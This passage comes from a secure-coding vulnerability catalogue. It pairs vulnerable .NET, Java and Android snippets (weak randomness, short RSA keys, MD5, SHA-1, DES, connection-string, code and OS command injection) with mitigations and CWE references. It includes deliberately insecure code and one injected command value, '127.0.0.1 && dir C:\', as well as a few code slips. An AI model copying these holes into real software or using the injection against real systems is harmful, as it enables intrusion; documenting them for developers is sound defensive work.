as session cookies, produce SMS OTPs, random file names, etc.

Using insecure random number generator algorithms we, as developers, make the lives of attackers easier. The code below uses an insecure random number generator and produced “random” 8 character strings can be predicted by an attacker.

```
var chars = "ABCDEFGHIJKLMNOPQRYZabcdefghijklmwxyz0123456789";
var output = new char[8];
var random = new Random();
for (int i = 0; i < output.Length; i++)
{
    output[i] = chars[random.Next(chars.Length)];
}
return new String(output);
```

Technology	JAVA, ANDROID

Producing random values is a usual requirement for software projects. There’s no real but pseudo-randomness in computers. Unfortunately pseudorandomness is deterministic (related the computers) and therefore reproducible.

The random (although pseudo) number generator algorithms are usually used to produce secret keys for encryption algorithms. However, they are also used to identify users, such as session cookies, produce SMS OTPs, random file names, etc.

Using insecure random number generator algorithms we, as developers, make the lives of attackers easier. The code below uses an insecure random number generator and produced “random” 8 character strings can be predicted by an attacker.

```
String symbols = "ABCDEFGHIJKLMNOPQRYZabcdefghijklmwxyz0123456789";

Random random = new Random();
char[] buffer = new char[8];
for (int i = 0; i < buffer.length; ++i)
{
  buffer[i] = symbols.charAt[random.nextInt(symbols.length())];
}
String randomString = new String(buf);
```

Mitigation

Technology	.NET

The best we can do is to use cryptographically secure pseudo random number generators provided by the framework. For example the below API can be used to generate random

passwords of length 8 with 2 non-alphanumeric values in it;

```
using System.Web.Security.Membership;
...
return GeneratePassword(8, 2);
```

In order to use a secure version of Random, RSACryptoServiceProvider should be used under System.Security.Cryptography namespace.

Technology	JAVA, ANDROID

The best we can do is to use cryptographically secure pseudo random number generators provided by the framework.

In order to use a secure version of Random, java.security.SecureRandom should be used.

```
String symbols = "ABCDEFGHIJKLMNOPQRYZabcdefghijklmwxyz0123456789";

SecureRandom random = SecureRandom.getInstanceStrong();
char[] buffer = new char[8];
for (int i = 0; i < buffer.length; ++i)
{
  buffer[i] = symbols.charAt[random.nextInt(symbols.length())];
}
String randomString = new String(buf);
```

References	• CWE-338 • HIPAA Security Rule 45 CFR 164.312(a)(2)(i) • HIPAA Security Rule 45 CFR 164.312(a)(2)(iv) • HIPAA Security Rule 45 CFR 164.312(e)(2)(ii) • OWASP Top 10 A6 • PCI DSS 6.5.3

Insufficient Encryption Key Size

Title	Insufficient Encryption Key Size
Summary	An attacker can break the encryption algorithm used and find the plain text secret keys, passwords and other credentials that were thought to be “protected” using encryption algorithms
Severity	Critical

Cost Fix	Medium
Trust Level	High
ID	

Description

Technology	.NET

The encryption algorithms that were proven to be secure once are announced to be insecure with time passing because of the increasing computational power used in brute force attacks.

For example, RSA is an asymmetric encryption algorithm where the encryption and decryption is performed using two different keys; namely public and private keys. It has been considered that RSA brings insufficient secrecy when used with a short sized keys, such as 512 bits, or in general any key size of under 2048 bits. Here's an example;

```
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(1024);
rsa.Encrypt(plaintext, false);
```

Technology	JAVA, ANDROID

The encryption algorithms that were proven to be secure once are announced to be insecure with time passing because of the increasing computational power used in brute force attacks.

For example, RSA is an asymmetric encryption algorithm where the encryption and decryption is performed using two different keys; namely public and private keys. It has been considered that RSA brings insufficient secrecy when used with a short sized keys, such as 512 bits, or in general any key size of under 2048 bits. Here's an example;

```
KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
PublicKey pubk = kp.getPublic();
PrivateKey prvk = kp.getPrivate();
```

Mitigation

Technology	.NET

RSA should be used with the minimum key size of 2048 bits. RSA is primarily used in SSL

standards for key exchange between two Internet parties; client the browser and server. Even in SSL certificates authorities recommend the minimum key size should be 2048 bits for RSA algorithms used when producing SSL certificates. RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048); rsa.Encrypt(plaintext, false);

Technology	JAVA, ANDROID

RSA should be used with the minimum key size of 2048 bits. RSA is primarily used in SSL standards for key exchange between two Internet parties; client the browser and server. Even in SSL certificates authorities recommend the minimum key size should be 2048 bits for RSA algorithms used when producing SSL certificates. KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA"); kpg.initialize(2048); KeyPair kp = kpg.generateKeyPair(); PublicKey pubk = kp.getPublic(); PrivateKey prvk = kp.getPrivate();

References	• CWE-326 • HIPAA Security Rule 45 CFR 164.312(a)(2)(iv) • HIPAA Security Rule 45 CFR 164.312(e)(2)(ii) • OWASP Top 10 A6 • PCI DSS 6.5.3

Insecure Cryptographic Hash

Title	Insecure Cryptographic Hash
Summary	An attacker can circumvent the hashing algorithm used by reversing the hashed value into original plain text
Severity	Critical
Cost Fix	Medium
Trust Level	High
ID	
Description	

Technology	.NET

Cryptographic hash algorithms claim that when applied to a given plain text they will produce non-reversible fixed-size hashes. The basic another premise of these hash algorithms is being fast, very fast.

There are many cryptographic hash functions, however, most of them are insecure. Two examples of insecure hash functions are;

- MD5, has been broken in 2008
- SHA-1, considered to be weak starting from 2005

The above are the most used hash functions that should be abandoned for their practical and theoretical weaknesses.

One of the most important practical attacks against hash functions is called Rainbow Tables. In this attack hackers precompute millions of simple plain text passwords into hashed values and store them offline with hash values to be indexes. This of course creates huge databases in terabytes. However, given a hash value lookup time shortens into milliseconds without even trying to break the algorithm.

```
var md5 = new MD5CryptoServiceProvider();
var hashValue = md5.ComputeHash(input);
```

The code snippet above uses both theoretically and practically proven to be insecure MD5 algorithm.

Technology	JAVA, ANDROID

Cryptographic hash algorithms claim that when applied to a given plain text they will produce non-reversible fixed-size hashes. The basic another premise of these hash algorithms is being fast, very fast.

There are many cryptographic hash functions, however, most of them are insecure. Two examples of insecure hash functions are;

- MD5, has been broken in 2008
- SHA-1, considered to be weak starting from 2005

The above are the most used hash functions that should be abandoned for their practical and theoretical weaknesses.

One of the most important practical attacks against hash functions is called Rainbow Tables. In this attack hackers precompute millions of simple plain text passwords into hashed values and store them offline with hash values to be indexes. This of course creates huge databases in terabytes. However, given a hash value lookup time shortens into milliseconds without even trying to break the algorithm.

```
MessageDigest mdaAlg = MessageDigest.getInstance("SHA-1");
byte[] hashBytes = mdaAlg.digest(text.getBytes("UTF-8"));
```

The code snippet above uses both theoretically and practically proven to be insecure SHA-1 algorithm.

Mitigation	
Technology	.NET

Using a secure hash algorithm is the first line of defense against hackers. For example using SHA-512 over SHA-1 is a good start. However, in general this is not enough.

In order to prevent Rainbow Table attacks, it is recommended to use a random salt before hashing a plain text (generally passwords). Storing both the hashed password and its unique salt in the persistent storage will prevent attackers crack these passwords using precomputed Rainbow Tables.

However, given that these algorithms are fast, very fast, it's easy for an attacker to computer millions of password hashes and compare them in seconds. Therefore, cryptographic hash algorithms with a computational effort should be used for password storing such as PBKDF2 or BCrypt. The key point is these algorithms are not fast, they provide integrity over passwords and slow down the attacker as well.

Proven insecure cryptographic hashing algorithms shouldn't be used in software. There are still secure algorithms that are being suggested by governmental standards, such as FIPS 140-2 Annex A.

SHA-256 and onwards cryptographic hashing algorithms are recommended to be used in software projects for integrity requirements.

```
var sha256 = new SHA256CryptoServiceProvider();
var sha384 = new SHA384CryptoServiceProvider();
var sha512 = new SHA512CryptoServiceProvider();
```

Technology	JAVA, ANDROID

Using a secure hash algorithm is the first line of defense against hackers. For example using SHA-512 over SHA-1 is a good start. However, in general this is not enough.

In order to prevent Rainbow Table attacks, it is recommended to use a random salt before hashing a plain text (generally passwords). Storing both the hashed password and its unique salt in the persistent storage will prevent attackers crack these passwords using precomputed Rainbow Tables.

However, given that these algorithms are fast, very fast, it's easy for an attacker to computer millions of password hashes and compare them in seconds. Therefore, cryptographic hash algorithms with a computational effort should be used for password storing such as PBKDF2 or BCrypt. The key point is these algorithms are not fast, they provide integrity over passwords and slow down the attacker as well.

Proven insecure cryptographic hashing algorithms shouldn't be used in software. There are still secure algorithms that are being suggested by governmental standards, such as FIPS 140-2 Annex A.

SHA-256 and onwards cryptographic hashing algorithms are recommended to be used in software projects for integrity requirements. For example;

```
MessageDigest mdaAlg = MessageDigest.getInstance("SHA-256");
byte[] hashBytes = mdaAlg.digest(text.getBytes("UTF-8"));
```

References	• CWE-328 • CWE-916 • HIPAA Security Rule 45 CFR 164.312(a)(2)(iv) • HIPAA Security Rule 45 CFR 164.312(e)(2)(ii) • OWASP Top 10 A6 • PCI DSS 6.5.3

Insecure Encryption Algorithm

Title	Insecure Encryption Algorithm
Summary	An attacker can break the encryption algorithm used and find the plain text secret keys, passwords and other credentials that were thought to be "protected" using encryption algorithms
Severity	Critical

Cost Fix	High
Trust Level	High
ID	
Description	
Technology	.NET

Cryptography is a very complex, sophisticated but attractive branch of mathematics and computer science. To this end, we, as developers, usually fall into the error of writing of our own cryptographic functions, such as encryption algorithms. However, in the hands of a cryptologist, our custom algorithms, no matter how smart we think we are, these custom algorithms will be torn down to pieces in a very short time.

Even the encryption algorithms that were proven to be secure in early times are announced to be insecure with time passing. DES or RC2 are two examples of these broken encryption algorithms.

```
DESCryptoServiceProvider cryptoProvider = new DESCryptoServiceProvider();

MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream,
                                             cryptoProvider.CreateEncryptor(keyBytes, ivBytes),
                                                 CryptoStreamMode.Write);

StreamWriter writer = new StreamWriter(cryptoStream);
writer.Write(sensitiveData);
writer.Flush();
cryptoStream.FlushFinalBlock();
writer.Flush();
return Convert.ToBase64String(memoryStream.GetBuffer(), 0, (int)memoryStream.Length);
```

There are various vulnerability types in encryption algorithms and some of these attacks are;

- Side-channel attacks
- Chosen cipher-text attacks
- Selective opening attacks
- …

Using weak encryption algorithms will create a false sense of security. We would think that our encrypted data will never be decrypted and stay hidden as long as we want, however

that wouldn't be true if we don't use solid encryption algorithms or follow secure encryption processes.

Technology	JAVA, ANDROID

Cryptography is a very complex, sophisticated but attractive branch of mathematics and computer science. To this end, we, as developers, usually fall into the error of writing of our own cryptographic functions, such as encryption algorithms. However, in the hands of a cryptologist, our custom algorithms, no matter how smart we think we are, these custom algorithms will be torn down to pieces in a very short time.

Even the encryption algorithms that were proven to be secure in early times are announced to be insecure with time passing. DES or RC2 are two examples of these broken encryption algorithms.

```
KeyGenerator keyGenerator = KeyGenerator.getInstance("DES");
SecretKey desKey = keyGenerator.generateKey();

Cipher desCipher = Cipher.getInstance("DES/ECB/PKCS5Padding");

desCipher.init(Cipher.ENCRYPT_MODE, desKey);

byte[] text = SensitiveData.getBytes();
byte[] encryptedText = desCipher.doFinal(text);
```

There are various vulnerability types in encryption algorithms and some of these attacks are;

- Side-channel attacks
- Chosen cipher-text attacks
- Selective opening attacks
- …

Using weak encryption algorithms will create a false sense of security. We would think that our encrypted data will never be decrypted and stay hidden as long as we want, however that wouldn't be true if we don't use solid encryption algorithms or follow secure encryption processes.

Mitigation

Technology	.NET

Encryption algorithms should never be “devised”. Existing and solid encryption algorithms should be used for most of the secrecy requirements.

Advanced Encryption Standard (AES), aka Rijndael, is one of the most recommended encryption algorithms currently used today. Developed by two Belgium cryptographers, Rijndael has won the first place in AES selection process by National Institute of Standards and Technology (NIST). There are three versions of AES with different key sizes, however, try to use the version with 256 bit key size.

System.Security.Cryptography.Aes namespace should be used for AES implementation in .NET as per MSDN blog post.

Technology	JAVA, ANDROID

Encryption algorithms should never be “devised”. Existing and solid encryption algorithms should be used for most of the secrecy requirements.

Advanced Encryption Standard (AES), aka Rijndael, is one of the most recommended encryption algorithms currently used today. Developed by two Belgium cryptographers, Rijndael has won the first place in AES selection process by National Institute of Standards and Technology (NIST). There are three versions of AES with different key sizes, however, try to use the version with 256 bit key size.

A simple native example using AES with 256 bit key size will look like;

```
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
keyGen.init(256);
SecretKey key = keyGen.generateKey();

Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
byte[] byteText = sensitiveData.getBytes();

cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] byteCipherText = cipher.doFinal(byteText);
...
```

References	

- CWE-326
- CWE-327
- HIPAA Security Rule 45 CFR 164.312(a)(2)(iv)
- HIPAA Security Rule 45 CFR 164.312(e)(2)(ii)
- OWASP Top 10 A6
- PCI DSS 6.5.3

Injection

Inadequate Input Validation - MVC/Web API

Title	Inadequate Input Validation - MVC/Web API
Summary	The attacker can freely play with the input that is not validated and execute any possible injection or business logic attacks, such as SQL Injection or manipulation attacks.
Severity	Medium
Cost Fix	Medium
Trust Level	Medium
ID	

Description	User input models that are not strictly validated in controllers (both in ASP.NET MVC and Web API) may lead to vast amount of vulnerability types from SQL Injection to business logic problems.
	
	Here's an example Controller and its Post action method which doesn't check the validity of input model.
	
	public class ProductsController : ApiController
	{
	[HttpPost]
	public HttpResponseMessage Post(Product product)
	{
	// use the product; process properties, save it to database, etc.
	}
	}
	
	Without any whitelist rules attackers can freely manipulate Product properties and cause for example injection type of vulnerabilities.

Mitigation	Auto populated models in Controllers' Action methods should be validated by calling ModelState.IsValid check and in order to do this rules, through mostly annotations, should be placed on the models. Here's a sample Product model decorated with valid and built-in validation

	annotations;
	
	public class Product
	{
	public int Id { get; set; }
	
	[Required]
	public string Name { get; set; }
	
	[RegularExpression(@"^[a-zA-Z0-9]{1,40}$")]
	public string Category { get; set; }
	
	[EmailAddress]
	public string Email { get; set; }
	
	public decimal Price { get; set; }
	}
	
	And here's the validation check in the action method that utilizes this model;
	
	public class ProductsController : ApiController
	{
	[HttpPost]
	public HttpResponseMessage Post(Product product)
	{
	if (ModelState.IsValid)
	{
	// model is valid
	}
	else
	{
	// model is invalid, throw error
	}
	}

References	• HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(B) • OWASP Top 10 A1 • PCI DSS 6.5.1

Inadequate Deserialization Validation

Title	Inadequate Deserialization Validation
Summary	The attacker may inject random code and execute on the application server side through insecure binary deserialization resulting in total ownage
Severity	Low
Cost Fix	Medium
Trust Level	Medium
ID	

Description	From early Remote Method Invocation (RMI) or CORBA implementations, Serialization/Deserialization is a key mechanism used for transferring a code state from one end to another. Serialization/Deserialization happens both in-process, inter-process and inter-network communications between same or different frameworks.
	
	The serialization APIs provide a mechanism for deserialized classes to check the deserialized content at run-time. Here's an example;
	
	[Serializable]
	class RemoteMessage
	{
	String message;
	
	public MessageResult SendAndSave()
	{
	/* process deserialized message */
	}
	}
	
	The above serializable (annotated) class have no way to validate deserialized *message* before *SendAndSave* method is called and therefore more likely open to attacks.

Mitigation	Although serializers such as XMLSerializer doesn't call any callback methods upon deserialization, serializers such as BinaryFormatter do. For example; [Serializable] class RemoteMessage : IDeserializationCallback { String message; private void Validate()

	{
	if (/* check if message is not one of expected ones */)
	{
	throw new ArgumentException();
	}
	}
	public void OnDeserialization(object sender)
	{
	Validate();
	}
	}
	
	The above serializable (annotated) class implements *IDeserializationCallback* interface taking a chance to validate the deserialized *message* String variable against any malicious behaviour with *OnDeserialization* call back method.

References	• HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(B) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

Connection String Injection

Title	Connection String Injection
Summary	The attacker is able to change the database connection string for his/her own advantage pulling attacks such as database credentials brute force
Severity	Critical
Cost Fix	Medium
Trust Level	High
ID	
Description	
Technology	.NET
Web applications usually need database related configuration strings for connections.	

Sometimes, due to the nature of the application, some of identifiers used in the connection strings are instructed by the untrusted end-user using HTTP parameters.

Let the backend code is similar to the following snippet;

```
string userID = userModel.username;
string passwd = userModel.password;

// connect DB with the authenticated user provided credentials
// valid connection also implies succesfull authentication
SqlConnection DBconn = new SqlConnection("Data Source= tcp:10.10.2.1,1434;Initial Catalog=mydb;User ID="
+ userID +";Password=" + passwd);
```

Using the application backed up by the above code, an attacker freely brute force any database credentials which he doesn't have a direct access. Moreover by providing "Integrated Security = true;" the attacker may authenticate to the back end server by leveraging the trust between the current OS user and the database authentication configuration.

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as user id coming from the user, and code, as the partial connection string in the program, result in Connection String injection. The attacker can potentially manipulate the connection string and access database system with credentials that he can't access otherwise.

Technology	JAVA

Web applications usually need database related configuration strings for connections.

Sometimes, due to the nature of the application, some of identifiers used in the connection strings are instructed by the untrusted end-user using HTTP parameters.

Let the backend code is similar to the following snippet;

```
try
{
  Class.forName("com.mysql.jdbc.Driver").newInstance();
  String url = "jdbc:mysql://10.12.1.34/" + request.getParameter("selectedDB");
  conn = DriverManager.getConnection(url, username, password);
  doUnitWork();
}
catch(ClassNotFoundException cnfe)
{
  //
}
catch(SQLException se)
{
```

```
  //
}
catch(InstantiationException ie)
{
  //
}
finally
{
 // manage conn
}
```

Using the application backed up by the above code, an attacker freely brute force any databases where the credentials happened to have access to.

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as user id coming from the user, and code, as the partial connection string in the program, result in Connection String injection. The attacker can potentially manipulate the connection string and access database system with credentials that he can't access otherwise.

Mitigation	
Technology	.NET
Applying a whitelist input strategy is a must for preventing database Connection String Injection attacks. Untrusted user provided input, should be checked against a strict user id and password regular expressions. A better approach would be not to rely on user input denoting parts of a database connection string altogether.	
Technology	JAVA
Applying a whitelist input strategy is a must for preventing database Connection String Injection attacks. Untrusted user provided input, should be checked against a strict user id and password regular expressions. A better approach would be not to rely on user input denoting parts of a database connection string altogether.	
References	• HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

Remote Client Side Code Injection

Title	Remote Client Side Code Injection
Summary	The attacker can inject unauthorized client-side code by utilizing a remote code repository and run it on the target container which leads to information disclosure or total system ownage
Severity	Critical
Cost Fix	Low
Trust Level	High
ID	

Description	Rarely applications have the requirement of dynamically running user supplied client-side code. In order to implement this requirement, programming languages provide APIs for dynamic interpretation of strings as code.
	
	Let the backend code is similar to the following snippet;
	
	`Page.ClientScript.RegisterClientScriptInclude(`
	`"RequestParameterScript",`
	`HttpContext.Current.Request.Params["includedURL"]`
	`);`
	
	Or let it similar to following code snippet;
	
	`public void Page_Load(Object sender, EventArgs e)`
	`{`
	`// Define the name, type and url of the client script on the page.`
	`String csname = "ButtonClickScript";`
	`String csurl = Request.Params["url"];`
	`Type cstype = this.GetType();`
	
	`// Get a ClientScriptManager reference from the Page class.`
	`ClientScriptManager cs = Page.ClientScript;`
	
	`cs.RegisterClientScriptInclude(cstype, csname,csurl);`
	`}`
	
	Finally here's another code piece that accepts user input for forming dynamic client side code;
	
	`HtmlGenericControl Include = new HtmlGenericControl("script");`

	Include.Attributes.Add("type", "text/javascript"); Include.Attributes.Add("src", Request.Params["url"]); this.Page.Header.Controls.Add(Include); The all of the above code executes a C# code as string provided by the user at the backend. Here a malicious user can manage to include any remote client side code that runs on the target users' browsers allowing the attacker to steal user information.
Mitigation	It's hard to mitigate code injection vulnerabilities since the only assumption for such a requirement is giving the ability to run any code on the target system but expect users to behave friendly, which might not be the case all the time. Developers should be as strict as possible when accepting user input as sources of dynamic code. Only trusted code from trusted URLs should be accepted for such necessities.
References	● HIPAA Security Rule 45 CFR 164.312(a)(1) ● HIPAA Security Rule 45 CFR 164.312(c)(2) ● OWASP Top 10 A1 ● PCI DSS 6.5.1

MVC View Code Injection

Title	MVC View Code Injection
Summary	The attacker can inject unauthorized server-side code by utilizing a remote code repository and run it on the target container which leads to information disclosure or total system ownage
Severity	Critical
Cost Fix	High
Trust Level	High
ID	
Description	Rarely applications have the requirement of dynamically running user supplied server-side view code. In order to implement this requirement, programming language frameworks or third parties provide APIs for

	dynamic interpretation of strings as code.
	
	Let the backend code is similar to the following snippet;
	
	using RazorEngine;
	using RazorEngine.Templating; // For extension methods.
	
	string template = "Hello @Model.Name, welcome to RazorEngine!";
	var result = Engine.Razor.RunCompile(template, "key", null, new { Name = "World" });
	
	The above code executes a C# code as string provided by the user at the backend through input model parameter name. Here a malicious user can manage to include any string C# razor code that runs on the target container allowing the attacker to steal information or total system ownage.
	
	There are other ways of dynamically executing server side code, however. For example in order to load Views from a data storage a virtual path provider is registered and utilized. This may be dangerous when the views are dynamically accepted from users and stored in the database.
	
	HostingEnvironment.RegisterVirtualPathProvider

Mitigation	It's hard to mitigate code injection vulnerabilities since the only assumption for such a requirement is giving the ability to run any code on the target system but expect users to behave friendly, which might not be the case all the time. Developers should be as strict as possible when accepting user input as sources of dynamic code. Only trusted code from trusted URLs should be accepted for such necessities.
References	● HIPAA Security Rule 45 CFR 164.312(a)(1) ● HIPAA Security Rule 45 CFR 164.312(c)(2) ● OWASP Top 10 A1 ● PCI DSS 6.5.1

Network Connection Identifier Injection

Title	Network Connection Identifier Injection
Summary	The attacker starts to change and steer the behaviour of a system network

	resource such as open connections to a target system of his choosing using application resources
Severity	High
Cost Fix	Low
Trust Level	High
ID	

Description

Technology	.NET

Web applications need to open network outbound connections to other systems such as HTTP(S), FTP or raw socket connections. Identifiers are used when opening such connections such as IP addresses, URLs, ports etc.

Sometimes, due to the nature of the application, these identifiers are instructed by the untrusted end-user using HTTP parameters.

Let the backend code is similar to the following snippet;

```
String url = "http://internalapp:" + Request["port"];
WebRequest request = WebRequest.Create(url);
HttpWebResponse res = (HttpWebResponse) request.GetResponse();
```

Using the application backed up by the above code, an attacker can send any ports through HTTP parameter port and from responses, he can execute a port scan on internalapp, which he doesn't have a direct access. A denial of service attack could also be possible in this situation. It could also be possible to change the domain name, if the we, as developer, had a code line such as;

```
String url = "http://" + Request["domain"];
WebRequest req = WebRequest.Create(url);
HttpWebResponse res = (HttpWebResponse) request.GetResponse();
```

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as domain coming from the user, and code, as the partial URL in the program, result in Network Identifier injection. The attacker can potentially manipulate the URL and access other systems that he can't access otherwise.

Technology	JAVA

Web applications need to open network outbound connections to other systems such as HTTP(S), FTP or raw socket connections. Identifiers are used when opening such connections such as IP addresses, URLs, ports etc.

Sometimes, due to the nature of the application, these identifiers are instructed by the untrusted end-user using HTTP parameters.

Let the backend code is similar to the following snippet;

```
String targetURL = "http://internalapp:" + request.getParameter("port");
try {
 URL url = new URL(targetURL);
 connection = (HttpURLConnection) url.openConnection();
 connection.setRequestMethod("POST");
 connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
  ...
```

Using the application backed up by the above code, an attacker can send any ports through HTTP parameter port and from responses, he can execute a port scan on internalapp, which he doesn't have a direct access. A denial of service attack could also be possible in this situation. It could also be possible to change the domain name, if the we, as developer, had a code line such as;

```
String targetURL = "http://" + request.getParameter("url");
try {
 URL url = new URL(targetURL);
 connection = (HttpURLConnection) url.openConnection();
 connection.setRequestMethod("POST");
 connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
  ...
```

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as domain coming from the user, and code, as the partial URL in the program, result in Network Identifier injection. The attacker can potentially manipulate the URL and access other systems that he can't access otherwise.

Mitigation	
Technology	.NET

Applying a whitelist input strategy is a must for preventing Network Connection Identifier Injection attacks. Untrusted user provided input, should be checked against a strict network identifier regular expression, such as against a meaningful port range or whitelisted URLs, IP addresses or domain names.

Technology	JAVA

Applying a whitelist input strategy is a must for preventing Network Connection Identifier Injection attacks. Untrusted user provided input, should be checked against a strict network identifier regular expression, such as against a meaningful port range or whitelisted URLs, IP addresses or domain names.	
References	• CWE-99 • HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

Code Injection

Title	Code Injection
Summary	The attacker can inject unauthorized server-side code and run it on the target container which leads to information disclosure or total system ownage
Severity	Critical
Cost Fix	Medium
Trust Level	High
ID	

Description	Rarely applications have the requirement of dynamically running user supplied server-side code. In order to implement this requirement, programming languages provide APIs for dynamic interpretation of strings as code.
	
	Let the backend code is similar to the following snippet;
	
	var cscpOptions = new Dictionary<string, string>() { { "CompilerVersion", "v4.5" } };
	var cscp = new CSharpCodeProvider(cscpOptions);
	var cpOptions = new[] { "mscorlib.dll", "System.Core.dll" };
	var params = new CompilerParameters(cpOptions, "user.exe", true);
	params.GenerateExecutable = true;
	var codeStr = Request["code"];
	CompilerResults results = cscp.CompileAssemblyFromSource(params, codeStr);

	The above code executes a C# code as string provided by the user at the backend. Here a malicious user can send any code that runs Operating System commands on the target system, steal information such as database credentials or database itself, etc.
Mitigation	It's hard to mitigate code injection vulnerabilities since the only assumption for such a requirement is giving the ability to run any code on the target system but expect users to behave friendly, which might not be the case all the time. However, one solution might be run the code inside a low privilege impersonated code block. Another solution might be lower the application trust level by employing custom .NET security policies in web.config. <trust level = "Medium" /> Running web applications in Medium trust level makes container apply certain restrictions (Strict file I/O permission, strict network connection permissions, strict reflection permissions, etc.) on the running code. One should be using as low permission set as possible when accepting dynamic code as strings and execute it. For example if reflection is needed, creating and using custom code security policies are possible, too.
References	• CWE-94 • HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

Insecure OS Administrative Mechanism

Title	Insecure OS Administrative Mechanism
Summary	The attacker can execute direct operating system commands on the application server that application runs on leading to sensitive information theft or total system ownage
Severity	Critical
Cost Fix	Medium

Trust Level	High
Labels	operating system
ID	

Description

Technology	.NET

Sometimes it may be desirable to allow application administrators to run free text administrative operations on the backend servers. Rarely this ability is implemented through executing free operating system commands with data provided directly from the administrators or support members through the web application.

As it may be a requirement in order to provide a fast analysis for support users, this mechanism may lead to various and very dangerous security exploits.

Let the backend code is similar to the following snippet;

```
Process.Start(TextBox1.Text);
```

or

```
Process.Start(TextBox1.Text, ”-s APT”);
```

Here the application provides a free text box where, probably authenticated and authorized, user can enter any operating system commands, execute and get the results.

Although very similar to OS Command Injection, this is not a code and data mix. Still with the existence of vulnerabilities such as XSS or CSRF, it may be quite possible for an attacker to execute various OS commands on behalf of the victim support member, for example.

Technology	JAVA

Sometimes it may be desirable to allow application administrators to run free text administrative operations on the backend servers. Rarely this ability is implemented through executing free operating system commands with data provided directly from the administrators or support members through the web application.

As it may be a requirement in order to provide a fast analysis for support users, this mechanism may lead to various and very dangerous security exploits.

Let the backend code is similar to the following snippet;

```
Runtime runtime = Runtime.getRuntime();
runtime.exec(request.getParameter("cmd"));
```

Here the application provides a free text box where, probably authenticated and authorized, user can enter any operating system commands, execute and get the results.

Although very similar to OS Command Injection, this is not a code and data mix. Still with the existence of vulnerabilities such as XSS or CSRF, it may be quite possible for an attacker to execute various OS commands on behalf of the victim support member, for example.

Mitigation

Although allowing users, such as support members, to be able to execute free operating system commands may seem desirable with every security precautions already taken, such as authentication, authorization, input validation, etc, this mechanism should be treated as a very dangerous medium at all means.

Web applications shouldn't be used as a direct relay proxy for operating systems or command lines.

At bare minimum the following security items should be provided at all times;

- No Cross Site Scripting vulnerabilities
- No Cross Site Request Forgery vulnerabilities
- No Insecure File Upload vulnerabilities
- No most of the server side Injection or specifically Code Injection vulnerabilities
- Strict authentication and authorization mechanisms
- Strict and detailed logging

References	
	• CWE-419 • HIPAA Security Rule 45 CFR 164.312(a)(1) • OWASP Top 10 A1 • PCI DSS 6.5.1

OS Command Injection

Title	OS Command Injection
Summary	The attacker can inject unauthorized partial OS commands and run

	commands on the target operating system which leads to information disclosure or total system ownage
Severity	Critical
Cost Fix	Low
Trust Level	High
ID	

Description

Technology	.NET

Rarely applications have the requirement of interacting with the Operating System they run on. In order to cater this requirement, programming languages provide APIs for OS communications.

Let the backend code is similar to the following snippet;

```
Process.Start("cmd.exe", "/C ping.exe " + Request["host"]);
```

The above code executes a ping against the provided untrusted host value given by the user.

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial command argument in the program, result in OS Command Injection. The attacker can potentially manipulate the command arguments and access the system that he can't access otherwise.

For example, by sending 127.0.0.1 && dir C:\ as Request["host"], the attacker may execute an extra, unauthorized OS command and list the contents of the C:\ drive that he can't access otherwise.

Technology	JAVA

Rarely applications have the requirement of interacting with the Operating System they run on. In order to cater this requirement, programming languages provide APIs for OS communications.

Let the backend code is similar to the following snippet;

```
Runtime runtime = Runtime.getRuntime();
runtime.exec("cmd.exe /C ping.exe " + request.getParameter("host"));
```

The above code executes a ping against the provided untrusted host value given by the user.

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial command argument in the program, result in OS Command Injection. The attacker can potentially manipulate the command arguments and access the system that he can't access otherwise.

For example, by sending 127.0.0.1 && dir C:\ as request.getParameter("host"), the attacker may execute an extra, unauthorized OS command and list the contents of the C:\ drive that he can't access otherwise.

Technology	ANDROID

Rarely applications have the requirement of interacting with the Operating System they run on. In order to cater this requirement, programming languages provide APIs for OS communications.

Let the backend code is similar to the following snippet;

```
button.setOnClickListener(new View.OnClickListener() {
  public void onClick(View v) {
    TextView tv =  ((TextView)findViewById(R.id.editText1));

    if (install(tv.getText().toString()) > 0)
      Toast.makeText(v.getContext(), "App installed", Toast.LENGTH_LONG).show();
    else
      Toast.makeText(v.getContext(), "App not installed", Toast.LENGTH_LONG).show();
    }
});

public int install(String path)
{
  Process install = Runtime.getRuntime().exec("adb shell pm install -r " + path);
  return install.waitFor();
}
```

The above code tries to install a trusted APK silently having the certificate signed for itself

from the device manufacturer.

